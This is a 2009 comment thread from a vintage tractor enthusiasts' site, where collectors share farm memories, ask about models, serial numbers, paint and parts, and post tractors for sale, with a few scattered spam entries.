Eddie Schantz wrote on Friday, November 20, 2009 (PST):We farmed with a Massey Harris 55 in the late 60 s, but I don t know what year of tractor it was. As a teen ager I certainly was not happy to drive it. It did not have power steering was very bulky to me. But it was a dependable tractor and gave us very little trouble. We farmed in west-central Oklahoma and used it mainly to farm our wheat ground. We used a 1949 MM U for our rowcrop when I was growing up. One of my brothers still has that tractor it has been restored. I often wondered where that old Massey ended up. Who is this moron that put these posts up from April 23-26th. Why can t they be deleted
Bill wrote on Friday, November 13, 2009 (PST):I have a wd tractor and can t find the serial number, i have looked on the back trans. housing but can t seem to find it. can any one shed some light on it
Leon Peterson wrote on Wednesday, November 11, 2009 (PST):We have an Oliver 770 gas with narrow front that I have owned and used almost daily for over 30 years. When I sold our dairy farm in 1983, the Oliver nearly sold, but my wife bid it back in. This tractor has been the best starting tractor on the place. It is nice to use for hauling manure, discing, raking hay, you name it. The power steering makes it easier to turn than the Farmall. We also have a 1650 for the jobs requiring more horse power.
JIm wrote on Wednesday, November 11, 2009 (PST):We have a D12 that looks like the high Clearance version. How can we tell if it is a true High Clearance. It even has the rear wheels like the high clearance.
Wyatt Campbell wrote on Wednesday, November 11, 2009 (PST):That is the first G1000 ive evr seen that has a cab.I like it!
Michael Elliott wrote on Sunday, November 08, 2009 (PST):My buddy wanted me to put this on here. He has a 44 Massey Harris gas burner with trike front end. I told him some one may be interested on this site. I looked it over pretty good. The engine doesn t run and the brakes are locked up but it s not beat up,it has PTO and 1 hydraulic lift on back. If anyone is enterested call Roy at 205-270-9575.He ll make you a great deal.
Peter Clark wrote on Sunday, November 08, 2009 (PST):I am currently restoring a 1963 Super Dexta. I live in Centurion, a suburb of Pretoria and have sourced around 5 partial tractors including a 1960 standard Dexta with a F3/144 engine.My late father was the owner of the first unit sold in South Africa in 1959 and it wa operaional until 1995. South African Dextas all have cast iron front wheel rims and I believe they are unique. The castings wer produced by an engineering firm in Port Elizabeth and carry a marking DEXTA Made in South Africa . I believe that the reason for this was to afford the FordMotor Company of South Africa tax breaks based on weight proportion of loclly added parts such as tyres, wheels and weights. It is very difficult to source parts here and that is the reason I have decided to buy up all possible scrapped nits that I can locate. I am busy compiling a data base of usable spares in my collection.
Taragerycle wrote on Thursday, November 05, 2009 (PST):Hi all wanted to introduce myself!! I look forward to being part of this comunity.
monte smith wrote on Thursday, November 05, 2009 (PST):We had a W6 and my dad put me on it when I was 6 in 1960 just to bring it from the back pasture. I couldn t reach the clutch so I circled the house till he got there. My mom was in histerics.
Ted Winderl wrote on Wednesday, November 04, 2009 (PST):For all you Sheppard enthusists out there. My dad was also a dealer of these tractors and engines in the late 40 s and 50 s. I had alot of info for SD3 and SD4 that I gave to some farmers from Norh Dakota that bought the engines. Some facts that were unique about these were that, pistons,rings,bearings,sleeves rocker arms,injectors were all the same. If one was desparate, you coulde cut the 4th cylinder off of the head gasket and use it for the SD3 engine. To fix the rear main seal on the SD3 was simple, to just simply slid it across a real fine sand paper on the sealing surface on a perfectly flat surface and it would take all the nicks out of it and it would seal again. On rebuilding the injector pumps, one would have to take it to a machine shop and bore out the plunger bore and sleeve it back to standard. Similar to like putting bushings in valve guides in a cylinder head. The waterpump on an SD3 was the same as that on an M-farmall gas tractor. Sheppard made the SD3 engine to where it would fit right into an M-Farmall. During the 40 s when gasoline was rationed, Sheppard had a conversion to where the SD3 engine could be put into a Packard car. I believe that would be real heavy in the front end!! Shepperd also made a 6 cylinder. I saw photos of one in the literature I gave away.It was used as a power plant. Hope this helps you guys.
James W Lewis wrote on Monday, November 02, 2009 (PST):I am the proud ownerof a 1964 ford super dexta,operated one when I was a farm kid in south carolina when I retired from the navy seabees in 1988 i bought one from the original owner.use it dailyand its still the the best ford tractor ever built in its horsepower range swuper economical on fuel 8 to 10 gallons in 8 or 10 hrs. have a lot of experience with this tractor and repairs related to it
Russ Krueger wrote on Saturday, October 31, 2009 (PDT):There is a gentlemen that posted a comment about a 55 LP Massey that is for sale in Orange Tx. I collect MH s and would like to hear from him. Russ Krueger 254-897-3980
Jon Scherff wrote on Saturday, October 31, 2009 (PDT):Just bougth a 49 cub and looking forward to working on in the barn this winter. I really enjoyed reading all the postings over the past 10 years you got me fired up to start the restoration work. Thanks
Kendall Williamson wrote on Saturday, October 31, 2009 (PDT): My uncle owned an 830 and we had a 630 rowcrop and then an 8o. My dad bought the 630 new and I bought it back in the late 80,s from the neighbor,s and still own it. I also bought an 830 in 86 with 5131 hours on it and repaired a few seals and repainted it and changed all oils. I farmed 320 acres with it for 8 or 10 years and always enjoyed the way these tractors sounded and pulled. It has 6825 hours on it now as I just looked. I took it out of the shed this summer and cleaned it up and changed fuel filters and cleaned the pony motor carb as it was gummed up from sitting for 7 years. Both engines run well and was great to hear it run again!! These old 2 cylinder tractor will run huge hours if they are looked after, this one still does not use oil between oil changes. In the spring of 07 there was one in northern Alberta sold for 15,000 and another for I think was 13,500 but don,t know the hours that were on them. They looked in very nice codition from the pic showed. I have a Meade cab that was on it when I bought but took it of this summer when I cleaned it up.
Gregg wrote on Saturday, October 31, 2009 (PDT):I have a farmall b tractor the only number I could find was 127895 that was located under the seat frame. I need to know what kind of carburator it has on it to order rebuild kit.
Leo wrote on Saturday, October 31, 2009 (PDT):I have a WD-45 with loader. It has a after market wide front end. I need the bushing that go into the spindle support. dose anyone know where to purchased them
mike barnette wrote on Friday, October 30, 2009 (PDT):have a 160 ser. #0740126 can anyone tell me the year model
Earl Downs wrote on Friday, October 30, 2009 (PDT):I have a 1965 Farmall 140 that I purchased from our local school division. I used it in the 1980s to mow our football field. Neglected last 10 years, but I have gotten it running, and it might make a good restoration project. Has front blade, but belly mower is seriously rusted out. open for offers in Virginia
SpapenlageZen wrote on Thursday, October 29, 2009 (PDT): gps ip imei
John Sykes wrote on Thursday, October 29, 2009 (PDT):I recently purchased a 1953 Farmall model F-Cub the tractor is in good condition and I am wanting to restore the paint to the original color on the tractor and its equipment. Currently the tractor is red with the aluminum color trim on back wheel and the equipment is rusty. Can you advise me on paint colors and where I could purchase them I noticed that tractor supply has some Farmall colors but wasn t for sure if that would be the correct colors to use on this tractor. I have noticed pictures of restored farmalls with the equipment painted a blue color. Thanks so much for your help.
Carey Lambeth wrote on Wednesday, October 28, 2009 (PDT):Am I the only one that owns a D-17, LP It was the first tractor that I ever owned, and I recently trailored it from Oklahoma to Washington. I m in the process of getting it back in shape so that I can bale hay with it again. Back in the day, it seem like I could run all day on a tank of propane. If anyone else owns one, let s talk. 350-435-6448
Kip Evans wrote on Wednesday, October 28, 2009 (PDT):Hey ... Just wondering if anyone figured out the problem with the 160 s lift arms raising by themselves when you start it... Hmmmm....
Bill Burbridge wrote on Tuesday, October 27, 2009 (PDT):Irecently bought a 1952 MH Pony. A plow, disk harrow and a 6 foot sickel mower. I need better instructions on mounting the mower model MH228 . Iam a;so not sure I have all the parts. HELP! If you want to buy the disk harrow or plow I live in Vancouver, WA. email me. I believe the correct color of the tractor is red. Available from CT Country Tractor Ph;888-828-3276. They have a lot of parts and manuals for the Pony.
Mary Kline wrote on Tuesday, October 27, 2009 (PDT):to Dave Saueressig--I will have a friend take some digital photos and send them to your email--a friend talk me all it needed was new spark plug wires--i don t know. I am not a mechanic-haha. it needs new tires--it has rubber on it now. it has a hydrolic a-frame on the front and it holds a 15 horse engine that operates the auger--4 ft. X 12 inches. I really don t want to let it go but i have to at this time. the photos could take a couple of days. the serial number is WS 893-if that helps you out. thanks, Mary
Joe Roberts wrote on Tuesday, October 27, 2009 (PDT):A friend of mine has a two bottom trip plow. The trip mechanism is up high and is driven by a chain from the wheel. We cannot find any manufacturer name on it anywhere. Does anyone have any idea who this manufacturer is
Dennis wrote on Monday, October 26, 2009 (PDT):I ll buy your NTX. Let me know what you want and I ll bring the trailer and cash.
dave saueressig wrote on Monday, October 26, 2009 (PDT):Mary Kline Can you send me a couple pictures of w-12 serail # Is it running thx dave
Bonnie E. Johnson wrote on Monday, October 26, 2009 (PDT):My twin brother has a super A farmall, 1954. We were raised on a tobacco farm and we raised peanuts and corn also. I had 2 brothers that had to do a lot of cultivating. I am trying to find something with several pictures of farmall tractors on it,older model ones to give to my brother for Christmas. He has things like that hanging in his shop, although our parents have passed on and none of us farm now but if any of us would have farmed,it would have been him. He has several tractors and has never farmed since he got out on his own. In our area you have to be a huge farmer to make a go of it. It is nothing like it was when we were growing up. It s a shame that some things have to change. Anyway,he is a big fan of farmall tractors and has caused me to have an appreciation for them as well.
Ben Wimberley wrote on Monday, October 26, 2009 (PDT):Ben Wimberley,Monday,October 26,2009 - I have an Oliver Super 44 with good sheet metal,engine been rebuilt,it has about 50 hours on rebuild,runs great and works great.Need to sale.All equipment can go with tractor or by itself.
Tom wrote on Monday, October 26, 2009 (PDT):My brother just bought a AC D-15 tractor with a forklift attachment. Where is the timimg mark located It has been sitting idle for about 5 years and he has no manuals.
bob wrote on Sunday, October 25, 2009 (PDT):i have a 1948 hercules moter 4 cyc rebuilt runs great and a hood ibelive for sale some one try to make a saw will sell make offer in ohio can be towed
Nick wrote on Saturday, October 24, 2009 (PDT):The MF 98 was indeed built by Oliver for Massey. The tractor was a rebadged Oliver 990GM. They were most well known for featuring a General Government now Motors 3-71 two-cycle diesel engine with a prominent supercharger on the side. They are extremely rare and were available only from 1960 to 1962. Finding one in any condition is challenging.
Pat Dillon wrote on Saturday, October 24, 2009 (PDT):1942 JD Model H For sale. 5 yr old restoration.
james willmon wrote on Friday, October 23, 2009 (PDT): i have a pacer no 16 runs great i am lookig for a cluth an presser plate any one know where i can get one my tractor is a 52 or 53 i was told thanks,
Becky Roberts wrote on Friday, October 23, 2009 (PDT):Hi everyone, we are in the process of selling out Blue Ford 2000 series, it includes the brush hog, the blade and an owners manual. Really don t know what to price this and wondered if anyone could help me here. The tractor is in Nashville, Indiana marked at 5000. for all. This tractor has always spent time out of the weather and is in great shape. Please help me find a good price to offer the community. Thanks, Becky
Peter Squires wrote on Friday, October 23, 2009 (PDT):I hope to write an article on the Sheppard tractors and would appreciate any information including what the 6-cylinder tractor engine was.
Ron Sa wrote on Thursday, October 22, 2009 (PDT):What is the scoop on the early A models having a center full fuel tank
Ron Sa wrote on Thursday, October 22, 2009 (PDT):Did the earliest B s have a center fill fuel tank If so, for how long Thanks.
marcus wrote on Thursday, October 22, 2009 (PDT):i want to buy a super 99 with a gm engine
Mary Kline wrote on Thursday, October 22, 2009 (PDT):to Tony Hnatiuk--I just saw your note asking if i still had the McCormick-Deering W 12--yes, i do. I am going to have to sell it, tho. If you have any questions, please email me.
David W. Dill wrote on Thursday, October 22, 2009 (PDT):I am looking for the adjustment procedure for the #62400D Speed Attachment for the Farmall M tractor. I have the Operator s Manual and the Service Manual but the info is not contained in either of them. It would be greatly appreciated if someone would help me out on this matter. Thank you. David
Daniel Sguin wrote on Thursday, October 22, 2009 (PDT):Je suis un amateur de tracteur cuckshutt, et dans ma rgion il en reste encore quelques uns. J aimerais trouver une personne qui serait intresser les rcuprer pour les remonter pour en faire des collections.
cole teiken wrote on Tuesday, October 20, 2009 (PDT):what color are the wheels on a oliver super 88 diesel w/front
Greg Dawson wrote on Tuesday, October 20, 2009 (PDT):i am still looking for parts. eny help would b nice. and chris would like two know how much. 417 693-2230
james olvier wrote on Tuesday, October 20, 2009 (PDT):What is the difference between an Oliver row crop versus an Oliver standard tractor Thanks,
russ larrabee wrote on Tuesday, October 20, 2009 (PDT):I m a novice, but bought my first 1940 ac-b tractor last week. need front and rear rims and tires. Can anyone help.
Doug Furley wrote on Monday, October 19, 2009 (PDT):I am haveing problems with my 3- point not being able to lifty my post hole auger out of the hole , so my question is how and what do I look at to find and fix the problem
Ashley Duncan wrote on Monday, October 19, 2009 (PDT):The at in my email address should be the symbol for at, but this site doesn t allow symbols, just an FYI.
Ashley Duncan wrote on Monday, October 19, 2009 (PDT):Sorry, it s been awhile since I ve visited the site, but Adam if you still have the 1530 for sale, please contact me. My email address is andunc04 at vt.edu. Please include where you re located and how much you are asking for it. Thanks for responding to my previous add!
J.R. wrote on Monday, October 19, 2009 (PDT):I agree with J.B. Bailey and all others. I grew up on my grandpa s farm riding the old but powerful Allis. His 1966 D-15 Series II was my faveriote and still is to this day,along with his 1964 D-10 Series I. Both are still plowing the fields and still getting up hay today. I am the second owner. My grandpa gave me these tractors to keep the spirt alive. So I could past them on to my children.
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Judy Williams wrote on Sunday, October 18, 2009 (PDT):My husband is refurbishing his Ford 671 select-o-matic. Does anyone know where I can get any decals for this tractor I d like to surprise him for Christmas this year.
Vivia Tatum wrote on Sunday, October 18, 2009 (PDT):We have a 1948D tractor we ve restored and are presently showing at a tractor show in Denver, NC. THere s another Leader in the show which is a 1948 B. What is the difference between the two. Which is the more deluxe version of the Leader, B or D Thanks!
Dan Lively wrote on Saturday, October 17, 2009 (PDT):I m trying to locate a family tractor. My grandfather bought new a 1941 John Deere B S/N 107679. It was traded in the mid-late 70 s to a JD dealer in Buckland MA. Any help locating this tractor is greatly appreciated.
Marty wrote on Friday, October 16, 2009 (PDT):I am looking to buy a International Super A need not be show room complete but be complete. Let me know what, where and you are asking.
Chris wrote on Thursday, October 15, 2009 (PDT):Anyone needing an Oliver 70 in good running condition but in need of restoration,i have one to sell.It has good rubber,runs well,but needs to see a paint brush
wrote on Thursday, October 15, 2009 (PDT): postscripts lofts MacDougall reveling warts .
Les Shollenberger wrote on Tuesday, October 13, 2009 (PDT):I am looking at buying a TO30 that has a three speed auxillary transmission, in addition to the regular 4-speed. The lever is on the right side of the trans. case, just above the foot rest. I have never seen one of these before. Can anyone shed some light on this
Bernardo Botero Pulecio wrote on Monday, October 12, 2009 (PDT):necesito conseguir el catalogo y el motor de arranque
Robert McKell wrote on Monday, October 12, 2009 (PDT):Hello, I am starting to restore a 770 like this one,I was hoping that you would kindly send me some pictures of your tractor, so that I could picture all four sides. Thank you for the help. I hope mine looks as good as yours when it is complete.
Marvin E Haylett sr wrote on Sunday, October 11, 2009 (PDT):I have a case 1018 tractor that was owned by my wifes grand dad. It is for sale. if anyone would like to buy it. thanks marvin
Brent wrote on Saturday, October 10, 2009 (PDT):I grew up on an R and an 830. They were hauled off the farm by Pete s Salvage in the late eighties or early nineties. Finally found an R that needs front sheet metal and hood and would trade cash, good running 70D and strone little B for an 830. 701 730 4402
Brent wrote on Saturday, October 10, 2009 (PDT):I grew up on an R and an 830. They were hauled off the farm by Pete s Salvage in the late eighties or early nineties. Finally found an R that needs front sheet metal and hood and would trade cash, good running 70D and strone little B for an 830
Lyle L. Hertel wrote on Saturday, October 10, 2009 (PDT):I have a 1956 WD45 that has been in the family since my dad started farming in 1956. It has a Model 33, 2 row, tractor mounted corn harvester. Does anyone know if parts like bearings are still available.
James Stephens wrote on Saturday, October 10, 2009 (PDT):My father-in-law has a Ferguson TO20 and is trying to replace the cam shaft. Can anyone tell me where to get a good shop manual with instructions and diagrams of the Z-120 continental engine. He is an experienced mechanic but not with this tractor.
austin mize wrote on Saturday, October 10, 2009 (PDT):I have a 1948 leader tractor that im in the process of restoring. ive been told that the original red color of it was persian red. does any one know where to get it
lloyd sorlien wrote on Friday, October 09, 2009 (PDT):Oh I forgot to mention my dads first h came without a starter. not sure theyear but must have been a 1939 maybe.
lloyd sorlien wrote on Friday, October 09, 2009 (PDT):The 54 super H did have live hydralics. I had on. I bought a 1948 H tractor 2 months ago and when I drove it in 4th. gear the front weels wobbled really bad. I loaded itonmy rrailer and took it home. The nut on the stearing shaft in the case up frontd was completely off the shaft.The gear was loose too on thedown shaft. Itis tapered so I hit it lightly down and tightened the nut. Helped a lot. still wobbled some in 5th gear. I put a tapered plate on the pedistool with the 4 bolts. Put the wide part to the rear. Now the tractor goes down the road in road gear and goes straight. I paid 950.00 for the H. many go for opvwer 1200. here.
Larry Bader wrote on Friday, October 09, 2009 (PDT):I started out with a John Deere 41 L frame I bought on ebay. It came with front axle and wheels, tires were shot rear end and trans entact, steering,and propeller shaft with clutch housing. No sheet metal, engine, seatframesupport, and other parts. It had a tag! serial number 634725. I got it home and over the next 2 years I have been busy on ebay. I have used parts and NOS parts. Some are expensive, like the fiber discs. I m still in need of one rear wheel rim. I managed to get a hub for one. and a set of 22 tires and tubes. I have three engines to use. 1 Hercules, 2JD LUC. I ve had fun so far. One piece at a time. I also have a 34 A John Deere.
Matthew Grooms wrote on Thursday, October 08, 2009 (PDT):I am looking for a GPO for my dad on his birthday.PLEASE HELP ME.
Gene Carr wrote on Wednesday, October 07, 2009 (PDT):I am looking for an A Model AC Tractor. 605.783.3832
Darlene wrote on Wednesday, October 07, 2009 (PDT):What is a Rock Island 15-25 worth. It is complete
Matthew Grooms wrote on Wednesday, October 07, 2009 (PDT):I would like a water loo boy R for 1,000 or less
Jim Broughton wrote on Tuesday, October 06, 2009 (PDT):To; Fred Sheppard...Your Cub is a 1955 model made late in the year just before the 56 models came out ! Have fun with her...I just put on the plow fast-tach and plowed up my potatoes...they are handy little machines ! Jim B. in Oregon
Doug Webster wrote on Tuesday, October 06, 2009 (PDT):I have a 1939 CO-OP No. 2 tractor, s/n 2250-2 in excellent shape. This tractor possibly was made in Arthurdale, West Virginia. I have the original manual and bill of sale. Would like to know the paint scheme and paint color code.
John wrote on Monday, October 05, 2009 (PDT):I am selling a 1960 GVI with a big Farmhand Loader on LP in very good shape if anyone is interested.. Restored, alot of new stuff. Location - Colorado.. John 719-338-6862
THOMAS W THORN wrote on Monday, October 05, 2009 (PDT):I HAVE A 1950 FARMALL C SN 53805 CASTING CODE 351132-R1 2 -10-T L NO1 IT HAS WHITE PAINT UNDER THE RED CAN ANYONE TELL ME IF THIS IS A TRUE DEMENSTRATOR THANKS
brent tro wrote on Monday, October 05, 2009 (PDT):I have a massey harris 555d cant get fuel to all injectors. May be interested in selling or learning how to make run. Also I know a person in shawnee ok. who restores tractors who may have or could find or fix tracto rim.
Jim Sereyka wrote on Sunday, October 04, 2009 (PDT):I have a Case that has an ID tag on the panel facing the tractor operater, it reads VC4518865. The starter is missing and so is my memory of why. My wife tells me it did have an old Ford starter in it. The pitch or distance as measured from the top of one gear to another on the fly-wheel or driven gear measures about 3/8 of an inch. Please help me identify and locate a new or used starter. Thank you very much for your help. Jim
Jerry wrote on Saturday, October 03, 2009 (PDT):To Wade Combs, by the serial number list on the site here, it is likely a 1948 Super A. The numbers they list are from the 250s to 268. I am considering buying and restoring a 1947 Super A to cultivate the garden I am clearing out. I have a 140 with a fast hitch for the plowing and other work.
tim galey wrote on Saturday, October 03, 2009 (PDT):my friend has a 1965 john deer 2010,we are looking for information on the hydraulics.the broblem is it leakes fluid from around the steering wheel/column. does any one have any information,or what to check. thanks t.g.
Dean Huster wrote on Friday, October 02, 2009 (PDT):Dad owned a W-30 and two F-20s. He traded the W-30 in on a Super M around 1962 or so. One F-20 had the corn picker permanently mounted as it was a royal pain to put on, take off and store. The second F-20 was used for planting, mowing and cultivating. As a teen, the old F-20s were embarrassing. I d give my eye teeth for Dad s old tractors now. When he sold the farm, he sold the better of the two it had a road gear transfer case mounted between engine and trannie to a neighbor with the sickle mower. The one with the picker was left with the farm. What a waste!
george wrote on Friday, October 02, 2009 (PDT):to larry in pittsburg i have a 59 lowboy for sale i live in saltillo pa which is about 2 hrs east of you
Don Piper wrote on Friday, October 02, 2009 (PDT):14,016 dc 1955 dc 4 were made
doug wrote on Thursday, October 01, 2009 (PDT): I have a johndeere 60 standard tractor in michigan I would like to know what it is worth
Wade Combs wrote on Thursday, October 01, 2009 (PDT):I recently aquired a very old Farmall tractor. I believe it is a super A. I can read the serial number as 264227 but the Model number is unreadable. I would like to try and restore it but I have to find out what year and model it is. I have seen several pictures on the net that look very simular but not exactly the same. It is possible between the years of 1946 to 1948. If anyone can give me some assistance in this and how to get more info for the restoring of it.
W.Litkeman wrote on Wednesday, September 30, 2009 (PDT):Hello there.....I recently bought a piece of property and located what appears to be a complete set of tracks for a 8n or 9n Ford......don t know what they are worth....looking to sell them....any offers...I can be reached at gletkeman at winnipeg.ca
John Swaim wrote on Tuesday, September 29, 2009 (PDT):Looking for pics--precious few were taken when I was a teenager working on granpa s place. He ran minnie mos and they captivated me then and still do now--power--he had a Vista G1000 diesel with cab, must have been 68 or 69 , very unusual to have a cab tractor at that time and he was stepping up from a M5. Later he added a vista G1000LP, strong tractor. Both pulled 6-16 s and clay didn t stop em. Tandem disc with harrow also, LP with 18.5 ft and the diesel with 19.5 ft. Later he picked up a M670 and we used that for cultivating, pulling the planter and such...good tractor,, LP as well. The best and my favorite wa the 75 White 2-150--bought used around 78 , came wioth a chrome exhaust that curved to the right and no muffler, 585 c.i. no turbo no intercooler no high rpm, just raw stroke power and the nicest flame when plowing at night, that thunderous sound lugging 7-16 s and later a 25 ft tandem disc with harrow--fancy disc with hydraulic folding,, a white i believe, all the other implements mentioned were Moline brand. Granpa tried to muffle the 150 but the damn muffler was so thick I couldn t see around it so he took it back off a few weeks later and I never saw it again.Anywho, any pics of these big cats in action in the field would be appreciated. The 150 ran duals and in furrow on the seven bottom,, the diesel Vista had these unique cones for the duals to attach to, added weight and just had a nice look with the duals on. Any pics would be appreciated. Straight furrows! If anybody stilll pulls a moldboard.
Mike O Brien wrote on Friday, September 25, 2009 (PDT):I have a Ford 2000 Diesel 1962-64 tractor. 144 cubic engine. Can anyone please give me info on how to set the timing I took out the injector pump, and had it rebuilt.
Shawn Macha wrote on Friday, September 25, 2009 (PDT):We have a COOP E3 with a belly mower on it we would like to sell the whole rig. It is in good shape and runs good. What is it worth
Gary Chonzena wrote on Thursday, September 24, 2009 (PDT):I think I have an old Oliver, apprx 1945, and have the serial number s . Where would I find more information on this old tractor. It may also be a Cockshutt, have not found an exact picture anywhere to match what we have. Can someone help out here Thanks.
Dink wrote on Sunday, September 20, 2009 (PDT):I have purchased a d-15 on propane and am having fuel problems. The regulator is new. It has a bad exhaust system with an after market muffler, so when it rained, water got into the system. I have rectified that. The tractor starts and idles,but dies when I give it some throttle. If I play around with the adjustment on the front of the carburator I can get it to run at higher speeds, but the settings keep changing and nothing is consistant. Any advice from someone would be appreciated. Dink
kenneth coffey wrote on Saturday, September 19, 2009 (PDT):i just have to say massey s are the best tractor a man could have
bill lemons wrote on Sunday, September 13, 2009 (PDT):I restored a 541 offset. Based on the serial number its a 1959 model. I converted the 6v to 12v. and that makes it much more fun to use as it cranks without problems summer and winter. I used a 801 block with 541 exhaust/intake manifold and carburator to limit the horse power. This engine was completely rebuilt professionally and is powerful. I need at steering box. This is the hardest part to find on the whole tractor. Only the 541 uses this steering gear box. Anyone with a parts tractor please contact me if the steering box is available.
Perry Lutz wrote on Saturday, September 12, 2009 (PDT): A models the serial number are located under the seat on the left side. Super A is located under the seat on the right side
michael bennett wrote on Thursday, September 10, 2009 (PDT):i have a ford 2000 super dexta and its ok but the lift does not work the way it should it does not come all the way if you could let me know what and how to fix it i ll keep it
Orewcoedo wrote on Thursday, September 10, 2009 (PDT): color=green size=24 , , , , . /size /color . . , , . . . ... . , . ; . , ! , , - , , . . , , , , - , ,
Samuel V. wrote on Sunday, September 06, 2009 (PDT):NEVERMIND. I recently visited the tractor and realized that it does have red paint under the yellow. Whoever painted it did a really good job.
BJ Manes wrote on Sunday, September 06, 2009 (PDT):Shortly after August, 1940 my parents moved to a Texas farm where I learned to drive at age nine 9 . The tractor was a Model L or possibly a Model C . I could stop it by pulling the clutch lever back. To drive forward, I had to just hold the clutch lever forward so I could not drive it in the field. I was not big enough to push the clutch lever forward to lock it in place. My frist accident also involved the Model L. I hit a steel gate post in third gear, I think with the left front wheel. The front axle bent back about 6 or so inches. My Dad had to pay 2.50 to have the axle heated and straightened out. My excuse; the steering gears were so worn that one had to turn the steering a full turn to start going the other direction. I do not recall getting a spanking after the wreck, so my excuse must have worked. Thanks for the Memories......BJ
john phillips wrote on Sunday, September 06, 2009 (PDT):I have one that looks the same that needs restoration send me a bid
Samuel Vivilacqua wrote on Saturday, September 05, 2009 (PDT):HELP! The o-12 seems to be hard to find. According to the serial number guide, mine is a 1936 o-12. However, my issue is that the paint is yellow, and shows no signs of ever being repainted or any red. And yet no one ever said anything about them being yellow. Iv heard red and grey. Help And I found my serial number on a plate hidden somewhere below the fuel tank, is this correct
Jake kirchoffner wrote on Friday, September 04, 2009 (PDT): would like to now where I can find info on a co-op #3. Manual or when it was made. serisl number 4039. It is yellow with a squire grill..Thank you
bugman wrote on Tuesday, September 01, 2009 (PDT):am restoring a 57 130 that had a set of ARPS half tracs. i have the boggy wheels but am in search of the tracks. i m located in southern maine
Chels wrote on Tuesday, September 01, 2009 (PDT):My grandpa owns a Minneapolis Moline NTX in fab. condition. Is in storage now but some seals went bad from sitting so long. Any clue where to get parts or manuals for this moddel. Also how much are the five left of these worth
jeff laux wrote on Sunday, August 30, 2009 (PDT):i have a 1938 case rc. i am having problems with the clutch slipping, tried to adjust with no luck.what is proper procedure for clutch replacement on this tractor. any helpful web pages
roger ransom wrote on Tuesday, August 25, 2009 (PDT):i have a friend that has this same model year. nut on fan- water pump pulley came lose ruined pulley stub shaft on water pump. i m helpimg try to find parts. this tractor was restored a few years back, so otherwise is in deasent shape. do you know where who could possibly locate these items assuming you want to keep you parts tractor on reserve for yourself. any comments or help will be appreciated. thank you roger by the way that is a beautiful machine
bill vanlue wrote on Monday, August 24, 2009 (PDT):iam buying a super dexta the guy told me its hard to start sometimes, run fine after starting can anybody help me fix this please.bill
Andre Vaillancourt wrote on Sunday, August 23, 2009 (PDT):I have a 1964 550 Cockshutt with loader that I would like to sell. I am located in Canada.
adam hawker wrote on Sunday, August 23, 2009 (PDT):I know a local farmer and he invited me to look in his barn at an old tractor.And there stood a Allis Chalmers WC we are now looking to restore the beast. I want to find out how much as a rough guide would this sell for when complete many thanks adam
Blaine B. wrote on Friday, August 21, 2009 (PDT):I forgot to leave how to get ahold of me, just call 320 272 4435, and leave your information on the machine. Thank you all!!
Blaine B. wrote on Thursday, August 20, 2009 (PDT):I have always liked the 1066 s, actually any 56,66, or 88 series IH!! I have 2 10 s and my dad has 2, if that don t say we like our 1066 s! I have started a 1066 serial number registry, and I would like to have your serial numbers, name, locations, and a description of the tractor. I am doing it for myself, just to see where they are still located, so far as of 8/20/09, I have compiled a list of 185 1066 s, and I know there are more out there than that. Thanks for your help, and send me your info to add to the 1066 registry!!
David wrote on Thursday, August 20, 2009 (PDT):I m looking for a hood, grille,side panels and radiator for a hg or oc3, if you can help me with any of these parts please email me. thanks
Doug wrote on Tuesday, August 18, 2009 (PDT):Have a 1952 Cockshutt 40. Need a engine block.
James Dearman wrote on Thursday, August 13, 2009 (PDT):I wrote I needed a radiator for a dexter 200, that was a 2000 not 200, sorry I need to check what I send. but I still ned the radiator. Yoy can call me at 601-917-2484
James Dearman wrote on Thursday, August 13, 2009 (PDT):I am looking for a radiator for my Dexter 200, if anyone can help me please let me know. Th eone I have can not be fix. I has done all it can.
Joe k wrote on Wednesday, August 12, 2009 (PDT):JD 40 make offer. Runs great.
Jayne Long wrote on Monday, August 10, 2009 (PDT):I am trying to find a 1964 super dexta tractor registration EIH 161. CAN ANYONE HELP.
gene powell wrote on Monday, August 10, 2009 (PDT):am looking for a super 44 oliver or a 440 oliver running with good sheet metal
ted wrote on Thursday, August 06, 2009 (PDT):I have a 64 d10 and i was wondering what the difference between series 1 2 and 3 are How do you stop water from getting into the exhaust manifold when parked outside, it comes in around the pipe the top is covered.
Larry wrote on Thursday, August 06, 2009 (PDT):I just bought a Case SC I Think I can t make out all the serial # s all I have is 54226 SC. Can anyone tell me from this what year I have and if SC for sure Found production # on Block 583,,on head A5617A,,and 5650A on back half on side under shifter area.Really hope someone can help!!!! THANKS
Gary Daiber wrote on Wednesday, August 05, 2009 (PDT):Have 1952 Cub for sale for parts or restore. If interested please call 419-834-1749. Located in Ohio.
Mark wrote on Monday, August 03, 2009 (PDT):I recently bought a 1948 case tractor for 500. the guy I bought it from said it did not run. I was able to start it right up and it runs good. I am having a problem though where it does not have the power to get up hills. Can someone let me know if you have had this problem and how you solved it
Mike Goodwin wrote on Sunday, August 02, 2009 (PDT):What do you want to know about them I have one restored to the most orginal you may ever find. Complete with the correct over-under Sherman transmission and lock out for the draw bars. If nterested let me know I have lost interest in it due to children and business and I am willing to part with it. Truly one of a kind!
stan wrote on Friday, July 31, 2009 (PDT):The Mf 98 was built by Oliver for Massey, due to a disastrous fire at the Massey plant. I think they were Oliver 990 s. In reading one of the above posts, it was inferred, I believe, that Minneapolis-Moline may have supplied a model to MF also, is that correct
Stan Beck wrote on Friday, July 31, 2009 (PDT):I have a Super A Farmall tractor that I think was manufactured in the mid 50 s. All I have is a serial number #256603. I would like to know the year of manuf. so I can order the correct owner Parts manuals.. can you help me locate the year of manuf. thanks
charles mcgary wrote on Friday, July 31, 2009 (PDT): help looking at a ford dexter model# 957e7005 average cond. need battery, filtersan oil change, tires 60% and old.what is it worth any idea thank you
LES KOHL JR wrote on Thursday, July 30, 2009 (PDT):My friend has picked up a leader tractor this past week and it looks like new and I was interested in what kind of price these old tractors are realy worth if any one could tell me. Thanks
Lisa Hughes wrote on Thursday, July 30, 2009 (PDT):I own a 1946 Farmall A tractor that runs perfectly because my brother makes new parts for it when needed. His machine shop is located in Lansing, MI. You can check out his website for Langenberg Machine Shop. Anyway, I d like to sell it to him now, and I m wondering what a fair price would be. In 1993 it was appraised at 1200. Thank you.
